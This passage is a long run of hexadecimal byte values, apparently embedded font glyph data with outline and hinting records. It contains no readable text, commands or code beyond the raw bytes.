0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb7,0x1,0x1,0x1,0x0, - 0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x31,0x30,0x1,0x15, - 0x9,0x1,0x15,0x1,0x35,0x3,0x77,0xfd,0x1f,0x2,0xe1,0xfc,0x89,0x4,0x8b,0x8c, - 0xfe,0xb2,0xfe,0xb1,0x8b,0x1,0x9d,0x7a,0x0,0x0,0x1,0x0,0x0,0x0,0xd7,0x3, - 0x77,0x4,0x8a,0x0,0x6,0x0,0x3f,0xb4,0x0,0x4,0x3,0x1,0x3,0x17,0x2f,0x3c, - 0xb1,0x6,0x5,0x2f,0x3c,0xb2,0x2,0x5,0x1,0x11,0x12,0x39,0x0,0x40,0xc,0x1, - 0x1,0x6,0x5,0x2,0x1,0x0,0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17, - 0x39,0x13,0x14,0xb7,0x1,0x1,0x4,0x3,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12, - 0x39,0x39,0x13,0x14,0x31,0x30,0x3d,0x1,0x9,0x1,0x35,0x1,0x15,0x2,0xe1,0xfd, - 0x1f,0x3,0x77,0xd7,0x8c,0x1,0x4e,0x1,0x4e,0x8b,0xfe,0x63,0x7a,0x0,0x2,0x0, - 0x0,0x0,0x81,0x3,0x77,0x4,0xd7,0x0,0x6,0x0,0xa,0x0,0x55,0xb1,0x6,0x5, - 0x2f,0x3c,0xb4,0x0,0x4,0x3,0x1,0x3,0x17,0x2f,0x3c,0xb1,0xa,0x9,0x2f,0x3c, - 0xb1,0x7,0x8,0x2f,0x3c,0xb2,0x2,0x1,0x5,0x11,0x12,0x39,0x0,0xb1,0x9,0x8, - 0x2f,0x3c,0xb2,0x7,0xa,0x8,0x10,0xdd,0x3c,0x40,0xc,0x1,0x1,0x6,0x5,0x4, - 0x3,0x2,0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb7, - 0x1,0x1,0x1,0x0,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14, - 0x31,0x30,0x1,0x15,0x9,0x1,0x15,0x1,0x35,0x1,0x15,0x21,0x35,0x3,0x77,0xfd, - 0x1f,0x2,0xe1,0xfc,0x89,0x3,0x77,0xfc,0x89,0x4,0xd7,0x86,0xfe,0xba,0xfe,0xbb, - 0x86,0x1,0x8c,0x7b,0xfd,0xbc,0x82,0x82,0x0,0x0,0x2,0x0,0x0,0x0,0x81,0x3, - 0x77,0x4,0xd7,0x0,0x6,0x0,0xa,0x0,0x55,0xb4,0x0,0x4,0x3,0x1,0x3,0x17, - 0x2f,0x3c,0xb1,0x6,0x5,0x2f,0x3c,0xb1,0x7,0x8,0x2f,0x3c,0xb1,0xa,0x9,0x2f, - 0x3c,0xb2,0x2,0x5,0x1,0x11,0x12,0x39,0x0,0xb1,0x7,0xa,0x2f,0x3c,0xb2,0x9, - 0x8,0xa,0x10,0xdd,0x3c,0x40,0xc,0x1,0x1,0x6,0x5,0x2,0x1,0x0,0x5,0x2, - 0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0xb7,0x1,0x1,0x4,0x3, - 0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x31,0x30,0x11,0x35, - 0x9,0x1,0x35,0x1,0x15,0x1,0x35,0x21,0x15,0x2,0xe1,0xfd,0x1f,0x3,0x77,0xfc, - 0x89,0x3,0x77,0x1,0x40,0x86,0x1,0x46,0x1,0x45,0x86,0xfe,0x6f,0x7a,0xfd,0xb5, - 0x82,0x82,0x0,0x0,0x1,0x0,0x0,0x0,0x0,0x3,0x77,0x2,0x22,0x0,0x5,0x0, - 0x25,0xb1,0x3,0x2,0x2f,0x3c,0xb1,0x5,0x4,0x2f,0x3c,0xb2,0x0,0x1,0x4,0x10, - 0xdd,0x3c,0x0,0xb1,0x0,0x5,0x2f,0x3c,0xb1,0x2,0x1,0x2f,0x3c,0xb2,0x4,0x3, - 0x1,0x10,0xdd,0x3c,0x31,0x30,0x21,0x11,0x21,0x35,0x21,0x11,0x2,0xeb,0xfd,0x15, - 0x3,0x77,0x1,0xa0,0x82,0xfd,0xde,0x0,0x3,0x0,0x0,0x1,0x80,0x5,0xa,0x3, - 0xf2,0x0,0x10,0x0,0x18,0x0,0x20,0x0,0x5b,0xb5,0x19,0x11,0xd,0x9,0x4,0x0, - 0x2e,0x2f,0x2e,0x2f,0x2e,0x2e,0xb3,0x1d,0x4,0x15,0xd,0x10,0xcd,0x10,0xcd,0x0, - 0x40,0xf,0xf,0x2,0x1,0x1,0x19,0x11,0xf,0x9,0x2,0x0,0x6,0x2,0x0,0x0, - 0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x2f,0x2f,0x40,0xa,0xb,0x7,0x1, - 0x1,0xb,0x7,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14,0x2f, - 0x2f,0xb7,0x1f,0x2,0x1b,0x7,0x17,0xb,0x13,0xf,0x10,0xcd,0x10,0xcd,0x10,0xcd, - 0x10,0xcd,0x31,0x30,0x1,0x6,0x23,0x20,0x11,0x34,0x36,0x33,0x32,0x17,0x36,0x33, - 0x20,0x11,0x10,0x21,0x22,0x3,0x16,0x33,0x32,0x35,0x34,0x23,0x22,0x5,0x26,0x23, - 0x22,0x15,0x14,0x33,0x32,0x2,0x88,0x99,0xb9,0xfe,0xca,0xae,0x89,0xb8,0x93,0x94, - 0xc0,0x1,0x34,0xfe,0xce,0xbe,0x4f,0x7e,0x83,0xb9,0xbb,0x7f,0xfe,0xf3,0x7b,0x85, - 0xb9,0xbb,0x7f,0x2,0x5b,0xda,0x1,0x39,0x89,0xaf,0xda,0xda,0xfe,0xc6,0xfe,0xc8, - 0x1,0x39,0xc5,0xc8,0xc2,0xc6,0xc6,0xc7,0xc2,0x0,0x1,0x0,0x0,0xfe,0x0,0x4, - 0xfd,0x6,0x0,0x0,0x13,0x0,0x66,0xb4,0x0,0x13,0x10,0xf,0x3,0x17,0x2f,0x3c, - 0xb1,0x12,0x11,0x2f,0x3c,0xb1,0x4,0x3,0x2f,0x3c,0xb4,0x6,0x5,0x2,0x1,0x3, - 0x17,0x2f,0x3c,0xb2,0xe,0xd,0xf,0x10,0xdd,0x3c,0xb2,0xa,0x9,0x3,0x10,0xdd, - 0x3c,0xb2,0xc,0xb,0x11,0x10,0xdd,0x3c,0xb2,0x8,0x7,0x1,0x10,0xdd,0x3c,0x0, - 0xb4,0xf,0xe,0x7,0x6,0x3,0x17,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0x40,0xa, - 0x11,0x10,0xd,0xc,0x9,0x8,0x5,0x4,0x7,0x6,0x10,0x17,0xdd,0x3c,0xb7,0x13, - 0x12,0xb,0xa,0x3,0x2,0x5,0x1,0x10,0x17,0xdd,0x3c,0x31,0x30,0x11,0x21,0x15, - 0x23,0x11,0x33,0x15,0x21,0x35,0x33,0x11,0x21,0x11,0x33,0x15,0x21,0x35,0x33,0x11, - 0x23,0x4,0xfd,0xa3,0xa3,0xfe,0x29,0xa8,0xfd,0x60,0xa9,0xfe,0x29,0xa2,0xa2,0x6, - 0x0,0x82,0xf9,0x4,0x82,0x82,0x6,0xfc,0xf9,0x4,0x82,0x82,0x6,0xfc,0x0,0x0, - 0x1,0x0,0x0,0xfe,0x0,0x4,0x9e,0x6,0x0,0x0,0xf,0x0,0x70,0xb4,0xf,0xe, - 0xc,0xb,0x3,0x17,0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0xa,0x9,0x2f,0x3c, - 0x40,0xb,0xd,0x8,0x7,0x6,0x5,0x4,0x3,0x2,0x8,0x1,0xb,0x11,0x12,0x17, - 0x39,0x0,0xb1,0xb,0xa,0x2f,0x3c,0xb1,0x0,0xf,0x2f,0x3c,0xb2,0x9,0x8,0xa, - 0x10,0xdd,0x3c,0xb2,0x7,0x6,0xa,0x10,0xdd,0x3c,0xb2,0x4,0x3,0xf,0x10,0xdd, - 0x3c,0xb2,0x2,0x1,0xf,0x10,0xdd,0x3c,0xb2,0xc,0x8,0x6,0x11,0x12,0x39,0xb7, - 0x1,0x1,0xd,0x5,0x2,0x0,0x0,0x0,0x13,0x11,0x14,0x12,0x39,0x39,0x13,0x14, - 0xb4,0x1,0xe,0x3,0x1,0x0,0x13,0x11,0x12,0x39,0x13,0x31,0x30,0x1,0x11,0x23, - 0x3,0x21,0x9,0x1,0x21,0x13,0x33,0x11,0x21,0x35,0x9,0x1,0x35,0x4,0x8b,0x80, - 0xc,0xfc,0x9d,0x2,0x6,0xfd,0xfa,0x3,0x76,0x7,0x85,0xfb,0x62,0x1,0xfe,0xfe, - 0x2,0x6,0x0,0xfe,0x30,0x1,0x4e,0xfc,0xad,0xfc,0x57,0x1,0x4e,0xfe,0x30,0x93, - 0x3,0x98,0x3,0x47,0x8e,0x0,0x2,0x0,0x0,0xff,0xe9,0x3,0x7f,0x5,0x5d,0x0, - 0x12,0x0,0x1e,0x0,0x50,0xb4,0xf,0xa,0x4,0x1,0x0,0x2e,0x2e,0x2f,0x2f,0x2e, - 0xb3,0x1c,0x4,0x16,0xa,0x10,0xcd,0x10,0xcd,0x0,0xb3,0x1,0x1,0x1,0x0,0x13, - 0x10,0xc0,0x13,0x40,0x9,0xd,0x1,0x1,0xf,0xd,0x2,0x0,0x0,0x0,0x13,0x11, - 0x14,0x12,0x39,0x39,0x13,0x14,0x2f,0xb6,0x1,0x1,0x0,0x1,0x0,0x2,0x0,0x13, - 0x11,0x14,0x12,0x39,0x13,0x14,0xb1,0x7,0x0,0x3f,0xb3,0x19,0x7,0x13,0xd,0x10, - 0xcd,0x10,0xcd,0x31,0x30,0x13,0x37,0x4,0x0,0x11,0x14,0x2,0x23,0x22,0x0,0x35, - 0x34,0x12,0x33,0x32,0x17,0x26,0x27,0x2,0x3,0x22,0x6,0x15,0x14,0x16,0x33,0x32, - 0x36,0x35,0x34,0x26,0x71,0x13,0x1,0x6b,0x1,0x90,0xf6,0xc8,0xb8,0xfe,0xf7,0xf7, - 0xae,0xbd,0x7b,0x9,0x4,0xa7,0x60,0x82,0xb4,0xb2,0x7c,0x80,0xab,0xa5,0x4,0xe0, - 0x7d,0x33,0xfe,0x35,0xfe,0x93,0xe9,0xfe,0xe0,0x1,0x10,0xbe,0xba,0x1,0xa,0x9c, - 0x16,0xb,0x1,0xa2,0xfe,0x6c,0xcc,0x93,0x8e,0xcb,0xcf,0x9b,0x91,0xbd,0x0,0x0, - 0x1,0x0,0x0,0x2,0xf0,0x3,0x92,0x5,0x59,0x0,0x6,0x0,0x2f,0xb6,0x6,0x5, - 0x4,0x3,0x2,0x1,0x0,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb4,0x0,0x5, - 0x4,0x1,0x3,0x17,0x2f,0x3c,0xb1,0x3,0x2,0x2f,0x3c,0xb6,0x1,0x1,0x6,0x1, - 0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x39,0x13,0x14,0x31,0x30,0x13,0x23,0x1,0x33, - 0x1,0x23,0x1,0x98,0x98,0x1,0x6d,0xb8,0x1,0x6d,0x99,0xfe,0xce,0x2,0xf0,0x2, - 0x69,0xfd,0x97,0x1,0xfa,0x0,0x1,0x0,0x0,0xfe,0xab,0x0,0x8c,0x5,0x55,0x0, - 0x3,0x0,0x1f,0xb1,0x0,0x3,0x2f,0x3c,0xb2,0x2,0x1,0x3,0x10,0xdd,0x3c,0x0, - 0xb4,0x1,0x0,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0x13,0xb1,0x3,0x2,0x2f,0x3c, - 0x31,0x30,0x11,0x33,0x11,0x23,0x8c,0x8c,0x5,0x55,0xf9,0x56,0x0,0x0,0x1,0x0, - 0x0,0xfe,0xf6,0x4,0x0,0xff,0x78,0x0,0x3,0x0,0x19,0xb1,0x0,0x3,0x2f,0x3c, - 0xb1,0x2,0x1,0x2f,0x3c,0x0,0xb1,0x3,0x2,0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10, - 0xdd,0x3c,0x31,0x30,0x15,0x21,0x15,0x21,0x4,0x0,0xfc,0x0,0x88,0x82,0x0,0x0, - 0x1,0x0,0x0,0x0,0x0,0x4,0x28,0x3,0xd5,0x0,0xb,0x0,0x40,0xb1,0x3,0x2, - 0x2f,0x3c,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0x7,0x6,0x2f,0x3c,0xb1,0x5,0x4,0x2f, - 0x3c,0xb2,0x9,0x8,0x6,0x10,0xdd,0x3c,0xb2,0xb,0xa,0x1,0x10,0xdd,0x3c,0x0, - 0xb4,0x0,0xb,0x8,0x7,0x3,0x17,0x2f,0x3c,0xb1,0x4,0x3,0x2f,0x3c,0xb7,0xa, - 0x9,0x6,0x5,0x2,0x1,0x5,0x3,0x10,0x17,0xdd,0x3c,0x31,0x30,0x33,0x11,0x23, - 0x35,0x21,0x15,0x23,0x11,0x23,0x11,0x21,0x11,0x98,0x98,0x4,0x28,0x96,0x8c,0xfe, - 0x1e,0x3,0x53,0x82,0x82,0xfc,0xad,0x3,0x53,0xfc,0xad,0x0,0x1,0x0,0x0,0x4, - 0xac,0x3,0xd8,0x5,0xce,0x0,0x12,0x0,0x38,0xb3,0xa,0x9,0x1,0x0,0x2e,0x2e, - 0x2e,0x2e,0x0,0xb5,0x1,0xa,0x9,0x3,0x1,0x0,0x13,0x10,0xc4,0xc0,0xc0,0x13, - 0x40,0xb,0xc,0x1,0x1,0xc,0x1,0x0,0x3,0x1,0x0,0x2,0x0,0x13,0x11,0x14, - 0x12,0x17,0x39,0x13,0x14,0x2f,0xb3,0x11,0x3,0x7,0xc,0x10,0xcd,0x10,0xcd,0x31, - 0x30,0x13,0x27,0x36,0x33,0x32,0x17,0x16,0x33,0x32,0x37,0x17,0x6,0x23,0x22,0x2f, - 0x1,0x26,0x23,0x22,0x54,0x54,0x73,0xa4,0x4d,0x99,0x8d,0x3d,0x66,0x55,0x56,0x72, - 0xac,0x4b,0x63,0x76,0x55,0x36,0x64,0x4,0xac,0x36,0xe8,0x4a,0x45,0x93,0x33,0xe2, - 0x2f,0x37,0x29,0x0,0x1,0x0,0x0,0xfe,0xaa,0x3,0x39,0x3,0xd7,0x0,0x11,0x0, - 0x50,0xb1,0x0,0x1,0x2f,0x3c,0xb1,0xa,0x9,0x2f,0x3c,0xb5,0x11,0x10,0x3,0x2, - 0x3,0x1,0x10,0x17,0xdd,0x3c,0xb5,0xc,0xb,0x8,0x7,0x3,0x9,0x10,0x17,0xdd, - 0x3c,0x0,0xb1,0x0,0x11,0x2f,0x3c,0xb1,0xb,0xa,0x2f,0x3c,0xb4,0x9,0x8,0x2, - 0x1,0x3,0x17,0x2f,0x3c,0x40,0x9,0x1,0x10,0xc,0x7,0x3,0x4,0x2,0x0,0xa, - 0x11,0x14,0x12,0x17,0x39,0x14,0xb1,0xe,0x0,0x3f,0xb1,0x5,0xe,0x10,0xcd,0x31, - 0x30,0x19,0x1,0x33,0x11,0x10,0x21,0x20,0x19,0x1,0x33,0x11,0x23,0x35,0x6,0x23, - 0x22,0x27,0x11,0x8c,0x1,0xc,0x1,0x15,0x8c,0x8c,0x5c,0xbc,0xa9,0x60,0xfe,0xaa, - 0x5,0x2d,0xfd,0xd1,0xfe,0xab,0x1,0x68,0x2,0x1c,0xfc,0x29,0xb4,0xce,0x98,0xfe, - 0x2c,0x0,0x1,0x0,0x0,0x0,0x0,0x4,0xe1,0x5,0x76,0x0,0x1b,0x0,0x60,0xb2, - 0x0,0x4,0x1,0x2f,0x3c,0x3c,0xb2,0xe,0xd,0xa,0x2f,0x3c,0x3c,0xb2,0x1b,0x1a, - 0x1,0x10,0xdd,0x3c,0xb2,0x10,0xf,0xa,0x10,0xdd,0x3c,0xb2,0x2,0x1a,0x1,0x11, - 0x12,0x39,0xb2,0xc,0xa,0xf,0x11,0x12,0x39,0xb3,0x18,0x4,0x12,0xa,0x10,0xcd, - 0x10,0xcd,0x0,0xb6,0x1,0xd,0xc,0x2,0x1,0x0,0x0,0x13,0x10,0xcd,0xcd,0xcd, - 0xcd,0x13,0xb4,0x0,0x1b,0xf,0xe,0x3,0x17,0x2f,0x3c,0xb3,0x1a,0x10,0x1,0xe, - 0x11,0x12,0x39,0x39,0xb1,0x7,0x1,0x3f,0xb1,0x15,0x7,0x10,0xcd,0x31,0x30,0x31, - 0x35,0x21,0x24,0x11,0x10,0x0,0x21,0x20,0x0,0x11,0x10,0x5,0x21,0x15,0x21,0x35, - 0x24,0x11,0x34,0x0,0x23,0x22,0x0,0x15,0x10,0x5,0x15,0x1,0x77,0xfe,0x89,0x1, - 0x6a,0x1,0x7,0x1,0x7,0x1,0x69,0xfe,0x89,0x1,0x77,0xfd,0xe8,0x1,0x85,0xfe, - 0xea,0xc7,0xca,0xfe,0xec,0x1,0x85,0x82,0xd9,0x1,0x8e,0x1,0x13,0x1,0x7a,0xfe, - 0x86,0xfe,0xed,0xfe,0x71,0xd8,0x82,0x76,0xde,0x1,0x84,0xe1,0x1,0x3b,0xfe,0xc8, - 0xe5,0xfe,0x7b,0xdc,0x76,0xff,0xff,0x0,0xa,0x0,0x0,0x4,0xd4,0x6,0x7c,0x0, - 0x36,0x0,0x5,0x0,0x0,0x0,0x16,0x0,0xed,0x0,0x0,0xff,0xff,0x0,0xa,0x0, - 0x0,0x4,0xd4,0x6,0xcd,0x0,0x36,0x0,0x5,0x0,0x0,0x0,0x16,0x0,0xee,0x0, - 0x0,0xff,0xff,0x0,0xa,0x0,0x0,0x4,0xd4,0x6,0xcd,0x0,0x36,0x0,0x5,0x0, - 0x0,0x0,0x16,0x0,0xef,0x0,0x0,0xff,0xff,0x0,0xa,0x0,0x0,0x4,0xd4,0x6, - 0xc7,0x0,0x36,0x0,0x5,0x0,0x0,0x0,0x16,0x0,0xf0,0x0,0x0,0xff,0xff,0x0, - 0xa,0x0,0x0,0x4,0xd4,0x6,0xa2,0x0,0x36,0x0,0x5,0x0,0x0,0x0,0x16,0x0, - 0xf1,0x0,0x0,0xff,0xff,0x0,0xa,0x0,0x0,0x4,0xd4,0x6,0xef,0x0,0x36,0x0, - 0x5,0x0,0x0,0x0,0x16,0x0,0xf2,0x0,0x0,0xff,0xff,0x0,0x4b,0x0,0x0,0x3, - 0xb8,0x6,0x7c,0x0,0x36,0x0,0x9,0x0,0x0,0x0,0x16,0x0,0xf3,0x0,0x0,0xff, - 0xff,0x0,0x4b,0x0,0x0,0x3,0xb8,0x6,0xcd,0x0,0x36,0x0,0x9,0x0,0x0,0x0, - 0x16,0x0,0xf4,0x0,0x0,0xff,0xff,0x0,0x4b,0x0,0x0,0x3,0xb8,0x6,0xcd,0x0, - 0x36,0x0,0x9,0x0,0x0,0x0,0x16,0x0,0xf5,0x0,0x0,0xff,0xff,0x0,0x4b,0x0, - 0x0,0x3,0xb8,0x6,0xc7,0x0,0x36,0x0,0x9,0x0,0x0,0x0,0x16,0x0,0xf6,0x0, - 0x0,0xff,0xff,0x0,0x15,0x0,0x0,0x1,0x8b,0x6,0x7c,0x0,0x36,0x0,0xd,0x0, - 0x0,0x0,0x16,0x0,0xf7,0x0,0x0,0xff,0xff,0x0,0x6f,0x0,0x0,0x1,0xd5,0x6, - 0xcd,0x0,0x36,0x0,0xd,0x0,0x0,0x0,0x16,0x0,0xf8,0x0,0x0,0xff,0xff,0xff, - 0xcb,0x0,0x0,0x1,0x31,0x6,0xcd,0x0,0x36,0x0,0xd,0xfe,0x0,0x0,0x16,0x0, - 0xf9,0x0,0x0,0xff,0xff,0xff,0xae,0x0,0x0,0x1,0xf2,0x6,0xc7,0x0,0x36,0x0, - 0xd,0x0,0x0,0x0,0x16,0x0,0xfa,0x0,0x0,0xff,0xff,0x0,0x82,0x0,0x0,0x5, - 0x10,0x6,0xa2,0x0,0x36,0x0,0x12,0x0,0x0,0x0,0x16,0x0,0xfb,0x0,0x0,0xff, - 0xff,0x0,0x2f,0xff,0xf2,0x4,0xba,0x6,0x7c,0x0,0x36,0x0,0x13,0x0,0x0,0x0, - 0x16,0x0,0xfc,0x1,0x0,0xff,0xff,0x0,0x2f,0xff,0xf2,0x4,0xba,0x6,0xcd,0x0, - 0x36,0x0,0x13,0x0,0x0,0x0,0x16,0x0,0xfd,0x1,0x0,0xff,0xff,0x0,0x2f,0xff, - 0xf2,0x4,0xba,0x6,0xcd,0x0,0x36,0x0,0x13,0x0,0x0,0x0,0x16,0x0,0xfe,0x1, - 0x0,0xff,0xff,0x0,0x2f,0xff,0xf2,0x4,0xba,0x6,0xc7,0x0,0x36,0x0,0x13,0x0, - 0x0,0x0,0x16,0x0,0xff,0x1,0x0,0xff,0xff,0x0,0x2f,0xff,0xf2,0x4,0xba,0x6, - 0xa2,0x0,0x36,0x0,0x13,0x0,0x0,0x0,0x16,0x1,0x0,0x1,0x0,0xff,0xff,0x0, - 0x83,0xff,0xf2,0x4,0xbc,0x6,0x7c,0x0,0x36,0x0,0x19,0x0,0x0,0x0,0x16,0x1, - 0x3,0x0,0x0,0xff,0xff,0x0,0x83,0xff,0xf2,0x4,0xbc,0x6,0xcd,0x0,0x36,0x0, - 0x19,0x0,0x0,0x0,0x16,0x1,0x4,0x0,0x0,0xff,0xff,0x0,0x83,0xff,0xf2,0x4, - 0xbc,0x6,0xcd,0x0,0x36,0x0,0x19,0x0,0x0,0x0,0x16,0x1,0x5,0x0,0x0,0xff, - 0xff,0x0,0x83,0xff,0xf2,0x4,0xbc,0x6,0xc7,0x0,0x36,0x0,0x19,0x0,0x0,0x0, - 0x16,0x1,0x6,0x0,0x0,0xff,0xff,0xff,0xf6,0x0,0x0,0x4,0x8b,0x6,0x7c,0x0, - 0x36,0x0,0x1d,0x0,0x0,0x0,0x16,0x1,0x9,0x0,0x0,0xff,0xff,0x0,0x59,0xff, - 0xf2,0x3,0x8c,0x4,0xe8,0x0,0x36,0x0,0x23,0x0,0x0,0x0,0x16,0x0,0x89,0xfd, - 0x0,0xff,0xff,0x0,0x59,0xff,0xf2,0x3,0x8c,0x5,0x47,0x0,0x36,0x0,0x23,0x0, - 0x0,0x0,0x16,0x0,0x8c,0xb,0x0,0xff,0xff,0x0,0x59,0xff,0xf2,0x3,0x8c,0x5, - 0x47,0x0,0x36,0x0,0x23,0x0,0x0,0x0,0x16,0x0,0x8d,0xb,0x0,0xff,0xff,0x0, - 0x59,0xff,0xf2,0x3,0x8c,0x5,0x49,0x0,0x36,0x0,0x23,0x0,0x0,0x0,0x16,0x0, - 0x8e,0xfd,0x0,0xff,0xff,0x0,0x59,0xff,0xf2,0x3,0x8c,0x4,0xff,0x0,0x36,0x0, - 0x91,0xb,0x0,0x0,0x16,0x1,0xa,0x1,0x0,0xff,0xff,0x0,0x59,0xff,0xf2,0x3, - 0x8c,0x5,0x55,0x0,0x36,0x0,0x23,0x0,0x0,0x0,0x16,0x0,0x8b,0xfd,0x0,0xff, - 0xff,0x0,0x5f,0xff,0xf2,0x3,0xa4,0x4,0xe8,0x0,0x36,0x0,0x27,0x0,0x0,0x0, - 0x16,0x0,0x89,0x10,0x0,0xff,0xff,0x0,0x5f,0xff,0xf2,0x3,0xa4,0x5,0x47,0x0, - 0x36,0x0,0x27,0x0,0x0,0x0,0x16,0x0,0x8c,0x10,0x0,0xff,0xff,0x0,0x5f,0xff, - 0xf2,0x3,0xa4,0x5,0x47,0x0,0x36,0x0,0x27,0x0,0x0,0x0,0x16,0x0,0x8d,0x10, - 0x0,0xff,0xff,0x0,0x5f,0xff,0xf2,0x3,0xa4,0x5,0x49,0x0,0x36,0x0,0x27,0x0, - 0x0,0x0,0x16,0x0,0x8e,0x10,0x0,0xff,0xff,0xff,0xf0,0x0,0x0,0x1,0x92,0x4, - 0xe8,0x0,0x36,0x0,0x41,0x0,0x0,0x0,0x16,0x1,0xb,0x0,0x0,0xff,0xff,0x0, - 0x59,0x0,0x0,0x1,0xb0,0x5,0x47,0x0,0x36,0x0,0x41,0x0,0x0,0x0,0x17,0x0, - 0x8c,0xfe,0xce,0x0,0x0,0xff,0xff,0xff,0xd1,0x0,0x0,0x1,0x28,0x5,0x47,0x0, - 0x36,0x0,0x41,0x0,0x0,0x0,0x17,0x0,0x8d,0xfe,0xb3,0x0,0x0,0x0,0x2,0xff, - 0xd5,0x0,0x0,0x1,0xac,0x5,0x49,0x0,0x3,0x0,0x9,0x0,0x43,0xb1,0x3,0x2, - 0x2f,0x3c,0xb2,0x0,0x1,0x2,0x10,0xdd,0x3c,0xb5,0x9,0x8,0x7,0x6,0x5,0x4, - 0x2e,0x2e,0x2e,0x2e,0x2e,0x2e,0x0,0xb4,0x1,0x0,0x3,0x0,0x0,0x13,0x10,0xcd, - 0xcd,0x13,0xb1,0x2,0x1,0x2f,0x3c,0x40,0xd,0x1,0x1,0x9,0x8,0x7,0x6,0x5, - 0x4,0x6,0x1,0x0,0x2,0x0,0x13,0x11,0x14,0x12,0x17,0x39,0x13,0x14,0x31,0x30, - 0x1,0x11,0x23,0x11,0x13,0x17,0x7,0x27,0x7,0x27,0x1,0x7,0x8c,0x45,0xec,0x39, - 0xb3,0xb2,0x39,0x3,0xbc,0xfc,0x44,0x3,0xbc,0x1,0x8d,0xd1,0x47,0x98,0x98,0x47, - 0x0,0xff,0xff,0x0,0x7b,0x0,0x0,0x3,0x9e,0x4,0xff,0x0,0x36,0x0,0x30,0x0, - 0x0,0x0,0x16,0x0,0x91,0x1d,0x0,0xff,0xff,0x0,0x60,0xff,0xf2,0x3,0xad,0x4, - 0xe8,0x0,0x36,0x0,0x31,0x0,0x0,0x0,0x16,0x0,0x89,0x7,0x0,0xff,0xff,0x0, - 0x60,0xff,0xf2,0x3,0xad,0x5,0x47,0x0,0x36,0x0,0x31,0x0,0x0,0x0,0x16,0x0, - 0x8c,0x6,0x0,0xff,0xff,0x0,0x60,0xff,0xf2,0x3,0xad,0x5,0x47,0x0,0x36,0x0, - 0x31,0x0,0x0,0x0,0x16,0x0,0x8d,0x14,0x0,0xff,0xff,0x0,0x60,0xff,0xf2,0x3, - 0xad,0x5,0x49,0x0,0x36,0x0,0x31,0x0,0x0,0x0,0x16,0x0,0x8e,0x6,0x0,0xff, - 0xff,0x0,0x60,0xff,0xf2,0x3,0xad,0x4,0xff,0x0,0x36,0x0,0x31,0x0,0x0,0x0, - 0x16,0x0,0x91,0x1b,0x0,0xff,0xff,0x0,0x7b,0xff,0xf2,0x3,0x87,0x4,0xe8,0x0, - 0x36,0x0,0x37,0x0,0x0,0x0,0x16,0x0,0x89,0x8,0x0,0xff,0xff,0x0,0x7b,0xff, - 0xf2,0x3,0x87,0x5,0x47,0x0,0x36,0x0,0x37,0x0,0x0,0x0,0x16,0x0,0x8c,0x8, - 0x0,0xff,0xff,0x0,0x7b,0xff,0xf2,0x3,0x87,0x5,0x47,0x0,0x36,0x0,0x37,0x0, - 0x0,0x0,0x16,0x0,0x8d,0x8,0x0,0xff,0xff,0x0,0x7b,0xff,0xf2,0x3,0x87,0x5, - 0x49,0x0,0x36,0x0,0x37,0x0,0x0,0x0,0x16,0x0,0x8e,0x8,0x0,0xff,0xff,0xff, - 0xf9,0xfe,0x53,0x3,0x22,0x4,0xe8,0x0,0x36,0x0,0x3b,0x0,0x0,0x0,0x16,0x0, - 0x89,0x8e,0x0,0x0,0x2,0x0,0x0,0x0,0x0,0x4,0xee,0x5,0x55,0x0,0xc,0x0, - 0x19,0x0,0x64,0xb1,0x2,0x1,0x2f,0x3c,0xb4,0x0,0xc,0x4,0x3,0x3,0x17,0x2f, - 0x3c,0xb1,0x19,0x18,0x2f,0x3c,0xb5,0xd,0x17,0x16,0xe,0x3,0x3,0x10,0x17,0xdd, - 0x3c,0xb5,0x15,0xf,0xb,0x8,0x5,0x18,0x10,0xc0,0xc4,0xc0,0xc0,0xc0,0xb1,0x12, - 0x8,0x10,0xcd,0x0,0x40,0xb,0x1,0x16,0x15,0x1,0x5,0x4,0x0,0xf,0xe,0x0, - 0x0,0x13,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x10,0xcd,0xcd,0x13,0xb1,0xc,0xb,0x2f, - 0x3c,0xb4,0x18,0x17,0x3,0x2,0x3,0x17,0x2f,0x3c,0xb5,0xd,0x19,0x0,0x1,0x3, - 0x2,0x10,0x17,0xdd,0x3c,0x31,0x30,0x13,0x23,0x35,0x33,0x11,0x21,0x20,0x12,0x11, - 0x10,0x2,0x29,0x1,0x13,0x11,0x21,0x32,0x36,0x11,0x10,0x26,0x23,0x21,0x11,0x21, - 0x15,0x82,0x82,0x82,0x2,0x76,0x1,0x26,0xd0,0xba,0xfe,0xeb,0xfd,0x63,0x9a,0x1, - 0xbb,0xf6,0x8e,0x7c,0xe8,0xfe,0x25,0x1,0xb2,0x2,0x80,0x74,0x2,0x61,0xfe,0xfe, - 0xfe,0x93,0xfe,0x44,0xfe,0xd6,0x2,0x80,0xfe,0x2,0xc4,0x1,0x53,0x1,0x74,0xc6, - 0xfe,0x21,0x74,0x0,0x2,0x0,0x82,0x0,0x0,0x4,0x82,0x5,0x55,0x0,0xe,0x0, - 0x18,0x0,0x53,0xb1,0x0,0x1,0x2f,0x3c,0xb7,0xf,0x18,0xe,0xd,0x3,0x2,0x5, - 0x1,0x10,0x17,0xdd,0x3c,0xb6,0x17,0x10,0xc,0x8,0x5,0x4,0x2,0x10,0xc0,0xc0, - 0xc4,0xc0,0xc0,0xc0,0xb1,0x13,0x8,0x10,0xcd,0x0,0xb4,0x1,0x2,0x1,0x0,0x0, - 